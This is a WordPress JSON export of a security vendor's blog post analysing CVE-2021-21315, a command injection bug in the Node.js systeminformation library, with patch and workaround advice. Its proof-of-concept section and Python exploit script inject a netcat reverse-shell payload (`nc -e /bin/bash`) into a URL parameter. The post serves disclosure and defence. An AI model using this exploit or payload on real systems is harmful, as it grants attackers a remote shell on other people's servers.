{"id":7428,"date":"2022-03-17T15:39:01","date_gmt":"2022-03-17T22:39:01","guid":{"rendered":"https:\/\/webdev.securin.xyz\/?p=7428"},"modified":"2024-04-29T10:56:37","modified_gmt":"2024-04-29T17:56:37","slug":"after-a-year-dhs-cisa-adds-cve-2021-21315-to-kevs-catalog","status":"publish","type":"post","link":"https:\/\/webdev.securin.xyz\/articles\/after-a-year-dhs-cisa-adds-cve-2021-21315-to-kevs-catalog\/","title":{"rendered":"After a year, DHS CISA Adds CVE-2021-21315 to KEVs Catalog!"},"content":{"rendered":"\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

In 2021, a remote code execution vulnerability was discovered in the System Information Library for Node.JS<\/a>, an open-source collection of functions that aid in retrieving detailed information about CPU, hardware, battery, network, services, and system processes.<\/p>

More than 56,000 open instances of NodeJs packages are exposed to the remote code injection bug, with 38% of them in the United States and 9% in China. Further, cyber research intelligence reports that this CVE 2021-21315 is hotly discussed on dark forums among hackers, posing a high threat to numerous organizations.<\/p>

This vulnerability is tracked as CVE 2021-21315<\/a> and earned a CVSS v3 score of 7.8 (high). In this case, the RCE bug falls under a vulnerability category described as CWE-78 that leads to Improper Neutralization of Special Elements used in an OS Command, ranking fifth<\/a> in the Top 25 Software Weaknesses.<\/p>

Interestingly enough, over a year of CVE disclosure, CISA added this CVE to its catalog of Known Exploited Vulnerabilities (KEV), urging organizations to patch it immediately.<\/p>

A researcher from Securin took a deep dive into this NodeJs CVE 2021-21315 vulnerability and developed a Proof-of-Concept<\/a> exploit code.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t

Vulnerability Analysis<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

The following *index.js* script creates an application with two endpoints – *\/api\/getServices* and *\/api\/checkSite* displayed, which each use the libraries function to check if a background service is running and if a URL is accessible, respectively.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t<\/colgroup>

const http = require(‘http’);<\/p>

const si = require(‘systeminformation’);<\/p>

var express = require(‘express’);<\/p>

var app = express();<\/p>

const port = 7000;<\/p>

app.get(‘\/api\/getServices’, (req, res) => {<\/p>

\u00a0\u00a0const queryData = req.query.name<\/p>

\u00a0\u00a0si.services(queryData).then((data) => {<\/p>

\u00a0\u00a0res.json(data);<\/p>

\u00a0\u00a0});<\/p>

});<\/p>

app.get(‘\/api\/checkSite’, (req, res) => {<\/p>

\u00a0\u00a0const queryData = req.query.url<\/p>

\u00a0\u00a0si.inetChecksite(queryData).then((data) => {<\/p>

\u00a0\u00a0res.json(data);<\/p>

\u00a0\u00a0});<\/p>

});<\/p>

app.listen(port, () => console.log(‘Hello world’))<\/p><\/td><\/tr><\/tbody><\/table>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t

In the next step, the user input is sent to the *s1.inetChecksite* function. This function then passes the input to *internet.js* to check if that particular URL is accessible. Subsequently, the query or user input is passed to the `inetChecksite` function.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"\"\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

Figure 01: `inetChecksite` function in `internet.js`<\/strong><\/em><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t

Once the data is passed to the `inetChecksite`, the `sanitizeShellString` will remove any meta character from the input.<\/p>

As secure as it may seem, the function only works well on a string; the vulnerability is present in how it handles the input. If an array is added to the function, it will be unable to check for meta characters because of the array\/string comparison, which can be seen below:<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"\"\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

Figure 02: Vulnerable sanatizeShellString function.<\/strong><\/em><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t

The first input was a string where the `;` character was filtered out; however when the input was an array, the `;` character was not filtered out. Because of this, if we make the `input` parameter an array and pass a shell command to it, it will be executed. This allows us to perform an RCE on the target server.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t

How to Identify CVE 2021-21315?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

Identifying this specific vulnerability depends on the functionality of the web application, as it has to be a Node application and use the “systeminformation” package. A much better way to identify this vulnerability is to map out the application structure and make educated guesses about specific endpoints.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t

Proof of Concept: (Reproducing Steps)<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

The application provides an API interface from which a user can check the availability of the website, and it accepts the \u201cURL\u201d parameter.<\/p>

  1. Identify the endpoint and parameter.<\/p><\/li><\/ol>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t\t\t\"\"\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    Figure 03: Adding a Payload To The Input Parameter By Making It Asn Array: `input[]=$(nc -e \/bin\/bash localhost 4444)`<\/strong><\/em><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t\t\t\"\"\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    Figure 04: Provided Payload Being Executed In The System As A Result Of Command Injection<\/strong><\/em><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    2. Start a Netcat Listener and execute the payload `$(nc -e \/bin\/bash localhost 4444)`<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t\t\t\"\"\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    Figure 05: Reverse Shell Payload Injected into URL Parameter With a Connection To The Listener.<\/strong><\/em><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t
    <\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t

    Exploit Script<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    Note:<\/strong> The exploit script varies for most of the applications, as it entirely depends on where the application uses it.<\/p><\/colgroup>

    import requests<\/p>

    import sys<\/p>

    if len(sys.argv) < 4:<\/p>

    \u00a0\u00a0\u00a0\u00a0print(“[!] python3 xploit.py [url] [parameter] [lhost] [lport]”)<\/p>

    target_url = sys.argv[1]<\/p>

    parameter = sys.argv[2]<\/p>

    lhost = sys.argv[3]<\/p>

    lport = sys.argv[4]<\/p>

    url = target_url + “?” + parameter + “[]=” + f”$(nc -e \/bin\/bash {lhost} {lport})”<\/p>

    r = requests.get(url)<\/p>

    print(“[!] Done”)<\/p><\/td><\/tr><\/tbody><\/table>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t\t\t\"\"\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    Figure 06: Exploit Script Executed And Reverse Shell Is Received.<\/strong><\/em><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t
    <\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t

    What Should You Do If You Are Vulnerable?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    This code injection vulnerability was fixed in the system information 5.3.1 version of the package. Additionally, this issue can also be fixed by modifying the *sanitizeShellString* function in the *util.js* file to perform checks for the arrays.<\/p>

    As a workaround instead of upgrading, verify or sanitize service arguments supplied to si.inetLatency(), si.inetChecksite(), si.services(), and si.processLoad() to ensure that only strings are allowed and arrays are rejected. The string sanitation system will then perform as expected.<\/p>

    While the patch for this code injection bug was released on February 14, 2021, today, more than 56,000 systems are still at risk. In light of its wide exposure, we recommend addressing and mitigating this bug as soon as possible.<\/span><\/strong><\/p><\/blockquote>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

    \n\t\t\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\t\t

    Securin’s Vulnerability Management detects and prioritizes vulnerabilities. Speak with our experts to secure your organization.<\/a><\/h3>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"

    A Securin researcher took a deep dive into this NodeJs CVE 2021-21315 vulnerability and developed a Proof-of-Concept exploit code.<\/p>\n","protected":false},"author":15,"featured_media":14355,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"content-type":"","footnotes":""},"categories":[82,80,110,123],"tags":[89,489,495,454,250,494],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts\/7428"}],"collection":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/comments?post=7428"}],"version-history":[{"count":17,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts\/7428\/revisions"}],"predecessor-version":[{"id":20753,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts\/7428\/revisions\/20753"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/media\/14355"}],"wp:attachment":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/media?parent=7428"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/categories?post=7428"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/tags?post=7428"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}